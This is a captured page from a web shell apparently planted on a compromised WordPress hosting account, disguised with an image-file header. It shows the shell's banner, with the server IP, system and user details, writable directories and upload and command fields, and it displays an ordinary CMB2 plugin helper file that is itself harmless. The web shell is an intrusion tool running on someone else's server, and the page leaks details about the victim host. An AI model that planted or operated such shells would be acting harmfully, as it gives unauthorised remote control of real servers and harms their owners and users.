????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.48.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/robo-gallery/cmbre2/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/robo-gallery/cmbre2/includes/helper-functions.php
<?php
/**
 * CMBRE2 Helper Functions
 *
 * @category  WordPress_Plugin
 * @package   CMBRE2
 * @author    WebDevStudios
 * @license   GPL-2.0+
 * @link      http://webdevstudios.com
 */

/**
 * Helper function to provide directory path to CMBRE2
 * @since  2.0.0
 * @param  string  $path Path to append
 * @return string        Directory with optional path appended
 */
if ( ! defined( 'WPINC' ) ) exit;

if( !function_exists('cmbre2_dir')){
	function cmbre2_dir( $path = '' ) {
		return CMBRE2_DIR . $path;
	}
}

/**
 * Autoloads files with CMBRE2 classes when needed
 * @since  1.0.0
 * @param  string $class_name Name of the class being requested
 */
function cmbre2_autoload_classes( $class_name ) {
	if ( 0 !== strpos( $class_name, 'CMBRE2' ) && 0 !== strpos( $class_name, 'CMBRE2' ) ) {
		return;
	}

	include_once( cmbre2_dir( "includes/{$class_name}.php" ) );
}

/**
 * Get instance of the CMBRE2_Utils class
 * @since  2.0.0
 * @return CMBRE2_Utils object CMBRE2 utilities class
 */
function cmbre2_utils() {
	static $cmbre2_utils;
	$cmbre2_utils = $cmbre2_utils ? $cmbre2_utils : new CMBRE2_Utils();
	return $cmbre2_utils;
}

/**
 * Get instance of the CMBRE2_Ajax class
 * @since  2.0.0
 * @return CMBRE2_Ajax object CMBRE2 utilities class
 */
function cmbre2_ajax() {
	static $cmbre2_ajax;
	$cmbre2_ajax = $cmbre2_ajax ? $cmbre2_ajax : new CMBRE2_Ajax();
	return $cmbre2_ajax;
}

/**
 * Get instance of the CMBRE2_Option class for the passed metabox ID
 * @since  2.0.0
 * @return CMBRE2_Option object Options class for setting/getting options for metabox
 */
function cmbre2_options( $key ) {
	return CMBRE2_Options::get( $key );
}

/**
 * Get a cmb oEmbed. Handles oEmbed getting for non-post objects
 * @since  2.0.0
 * @param  array   $args Arguments. Accepts:
 *
 *         'url'         - URL to retrieve the oEmbed from,
 *         'object_id'   - $post_id,
 *         'object_type' - 'post',
 *         'oembed_args' - $embed_args, // array containing 'width', etc
 *         'field_id'    - false,
 *         'cache_key'   - false,
 *
 * @return string        oEmbed string
 */
function cmbre2_get_oembed( $args = array() ) {
	return cmbre2_ajax()->get_oembed( $args );
}

/**
 * A helper function to get an option from a CMBRE2 options array
 * @since  1.0.1
 * @param  string  $option_key Option key
 * @param  string  $field_id   Option array field key
 * @return array               Options array or specific field
 */
function cmbre2_get_option( $option_key, $field_id = '' ) {
	return cmbre2_options( $option_key )->get( $field_id );
}

/**
 * A helper function to update an option in a CMBRE2 options array
 * @since  2.0.0
 * @param  string  $option_key Option key
 * @param  string  $field_id   Option array field key
 * @param  mixed   $value      Value to update data with
 * @param  boolean $single     Whether data should not be an array
 * @return boolean             Success/Failure
 */
function cmbre2_update_option( $option_key, $field_id, $value, $single = true ) {
	if ( cmbre2_options( $option_key )->update( $field_id, $value, false, $single ) ) {
		return cmbre2_options( $option_key )->set();
	}

	return false;
}

/**
 * Get a CMBRE2 field object.
 * @since  1.1.0
 * @param  array  $meta_box    Metabox ID or Metabox config array
 * @param  array  $field_id    Field ID or all field arguments
 * @param  int    $object_id   Object ID
 * @param  string $object_type Type of object being saved. (e.g., post, user, comment, or options-page).
 *                             Defaults to metabox object type.
 * @return CMBRE2_Field|null     CMBRE2_Field object unless metabox config cannot be found
 */
function cmbre2_get_field( $meta_box, $field_id, $object_id = 0, $object_type = '' ) {

	$object_id = $object_id ? $object_id : get_the_ID();
	$cmb = $meta_box instanceof CMBRE2 ? $meta_box : cmbre2_get_metabox( $meta_box, $object_id );

	if ( ! $cmb ) {
		return;
	}

	$cmb->object_type( $object_type ? $object_type : $cmb->mb_object_type() );

	return $cmb->get_field( $field_id );
}

/**
 * Get a field's value.
 * @since  1.1.0
 * @param  array  $meta_box    Metabox ID or Metabox config array
 * @param  array  $field_id    Field ID or all field arguments
 * @param  int    $object_id   Object ID
 * @param  string $object_type Type of object being saved. (e.g., post, user, comment, or options-page).
 *                             Defaults to metabox object type.
 * @return mixed               Maybe escaped value
 */
function cmbre2_get_field_value( $meta_box, $field_id, $object_id = 0, $object_type = '' ) {
	$field = cmbre2_get_field( $meta_box, $field_id, $object_id, $object_type );
	return $field->escaped_value();
}

/**
 * Because OOP can be scary
 * @since  2.0.2
 * @param  array $meta_box_config Metabox Config array
 * @return CMBRE2 object            Instantiated CMBRE2 object
 */
function new_cmbre2_box( array $meta_box_config ) {
	return cmbre2_get_metabox( $meta_box_config );
}

if(!function_exists("new_cmb2_box")){
	/* TODO fix legacy mode */
	function new_cmb2_box( array $meta_box_config ) {
		return cmbre2_get_metabox( $meta_box_config );
	}

}

/**
 * Retrieve a CMBRE2 instance by the metabox ID
 * @since  2.0.0
 * @param  mixed  $meta_box    Metabox ID or Metabox config array
 * @param  int    $object_id   Object ID
 * @param  string $object_type Type of object being saved. (e.g., post, user, comment, or options-page).
 *                             Defaults to metabox object type.
 * @return CMBRE2 object
 */
function cmbre2_get_metabox( $meta_box, $object_id = 0, $object_type = '' ) {

	if ( $meta_box instanceof CMBRE2 ) {
		return $meta_box;
	}

	if ( is_string( $meta_box ) ) {
		$cmb = CMBRE2_Boxes::get( $meta_box );
	} else {
		// See if we already have an instance of this metabox
		$cmb = CMBRE2_Boxes::get( $meta_box['id'] );
		// If not, we'll initate a new metabox
		$cmb = $cmb ? $cmb : new CMBRE2( $meta_box, $object_id );
	}

	if ( $cmb && $object_id ) {
		$cmb->object_id( $object_id );
	}

	if ( $cmb && $object_type ) {
		$cmb->object_type( $object_type );
	}

	return $cmb;
}

/**
 * Returns array of sanitized field values from a metabox (without saving them)
 * @since  2.0.3
 * @param  mixed $meta_box         Metabox ID or Metabox config array
 * @param  array $data_to_sanitize Array of field_id => value data for sanitizing (likely $_POST data).
 * @return mixed                   Array of sanitized values or false if no CMBRE2 object found
 */
function cmbre2_get_metabox_sanitized_values( $meta_box, array $data_to_sanitize ) {
	$cmb = cmbre2_get_metabox( $meta_box );
	return $cmb ? $cmb->get_sanitized_values( $data_to_sanitize ) : false;
}

/**
 * Retrieve a metabox form
 * @since  2.0.0
 * @param  mixed   $meta_box  Metabox config array or Metabox ID
 * @param  int     $object_id Object ID
 * @param  array   $args      Optional arguments array
 * @return string             CMBRE2 html form markup
 */
function cmbre2_get_metabox_form( $meta_box, $object_id = 0, $args = array() ) {

	$object_id = $object_id ? $object_id : get_the_ID();
	$cmb       = cmbre2_get_metabox( $meta_box, $object_id );

	ob_start();
	// Get cmb form
	cmbre2_print_metabox_form( $cmb, $object_id, $args );
	$form = ob_get_contents();
	ob_end_clean();

	return apply_filters( 'cmbre2_get_metabox_form', $form, $object_id, $cmb );
}

/**
 * Display a metabox form & save it on submission
 * @since  1.0.0
 * @param  mixed   $meta_box  Metabox config array or Metabox ID
 * @param  int     $object_id Object ID
 * @param  array   $args      Optional arguments array
 */
function cmbre2_print_metabox_form( $meta_box, $object_id = 0, $args = array() ) {

	$object_id = $object_id ? $object_id : get_the_ID();
	$cmb = cmbre2_get_metabox( $meta_box, $object_id );

	// if passing a metabox ID, and that ID was not found
	if ( ! $cmb ) {
		return;
	}

	$args = wp_parse_args( $args, array(
		'form_format' => '<form class="cmb-form" method="post" id="%1$s" enctype="multipart/form-data" encoding="multipart/form-data"><input type="hidden" name="object_id" value="%2$s">%3$s<input type="submit" name="submit-cmb" value="%4$s" class="button-primary"></form>',
		'save_button' => 'Save',
		'object_type' => $cmb->mb_object_type(),
		'enqueue_js'  => true,
	) );

	// Set object type explicitly (rather than trying to guess from context)
	$cmb->object_type( $args['object_type'] );

	// Save the metabox if it's been submitted
	// check permissions
	// @todo more hardening?
	if (
		$cmb->prop( 'save_fields' )
		// check nonce
		&& isset( $_POST['submit-cmb'], $_POST['object_id'], $_POST[ $cmb->nonce() ] )
		&& wp_verify_nonce( $_POST[ $cmb->nonce() ], $cmb->nonce() )
		&& $object_id && $_POST['object_id'] == $object_id
	) {
		$cmb->save_fields( $object_id, $cmb->object_type(), $_POST );
	}

	// Enqueue JS/CSS
	if ( $cmb->prop( 'cmb_styles' ) ) {
		CMBRE2_hookup::enqueue_cmb_css();
	}

	if ( $args['enqueue_js'] ) {
		CMBRE2_hookup::enqueue_cmb_js();
	}

	$form_format = apply_filters( 'cmbre2_get_metabox_form_format', $args['form_format'], $object_id, $cmb );

	$format_parts = explode( '%3$s', $form_format );

	// Show cmb form
	printf( $format_parts[0], $cmb->cmb_id, $object_id );
	$cmb->show_form();

	if ( isset( $format_parts[1] ) && $format_parts[1] ) {
		printf( str_ireplace( '%4$s', '%1$s', $format_parts[1] ), $args['save_button'] );
	}

}

/**
 * Display a metabox form (or optionally return it) & save it on submission
 * @since  1.0.0
 * @param  mixed   $meta_box  Metabox config array or Metabox ID
 * @param  int     $object_id Object ID
 * @param  array   $args      Optional arguments array
 */
function cmbre2_metabox_form( $meta_box, $object_id = 0, $args = array() ) {
	if ( ! isset( $args['echo'] ) || $args['echo'] ) {
		cmbre2_print_metabox_form( $meta_box, $object_id, $args );
	} else {
		return cmbre2_get_metabox_form( $meta_box, $object_id, $args );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit